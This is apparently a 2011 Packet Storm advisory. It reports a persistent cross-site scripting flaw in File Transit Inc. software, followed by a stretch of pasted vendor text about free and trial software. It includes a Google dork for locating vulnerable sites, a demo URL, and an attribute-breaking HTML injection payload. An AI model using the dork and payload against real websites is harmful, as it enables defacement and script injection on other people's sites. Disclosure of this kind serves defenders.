File Transit Inc. Cross Site Scripting

Type packetstorm
Reporter r007k17-w
Modified 2011-07-02T00:00:00


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# Exploit Title:File Transit Inc. persistent XSS vulnerability  
# Author: $#4d0\/\/[r007k17] a.k.a Raghavendra Karthik D(  
#Google Dork: File Transit © 1998-2010  
File Transit Inc. provides software for free use or trial. Some of the  
software you find here will be 100% free - you can download it and not worry  
about ever paying for it. Some of the free software is supported purely by  
an author's goodwill, some by ads, and others by donations (please support  
such authors if you find their software useful). Other software is designed  
for trial use. Sometimes an author will provide a free basic version of  
their software in hope you will want to purchase a more feature rich version  
from them. Similarly, some software comes with some features disabled until  
you purchase it. Some software will only work for a limited time (either a  
certain number of days or a set number of uses). When you have completed the  
trial use it will fail to work until you purchase it. Each author is free to  
devise their own way of providing software for use, and many have unique  
Persistent XSS Vulnerability  
{DEMO} : target/demo.php?name=Telnet_Server-2-3'  
EXPLOIT: ">><marquee><h1>$#4|)0\/\/</h1></marquee>  
Observe: A persistent cross-site scripting vulnerability in File Transit  
Inc. can be exploited to execute arbitrary JavaScript.  
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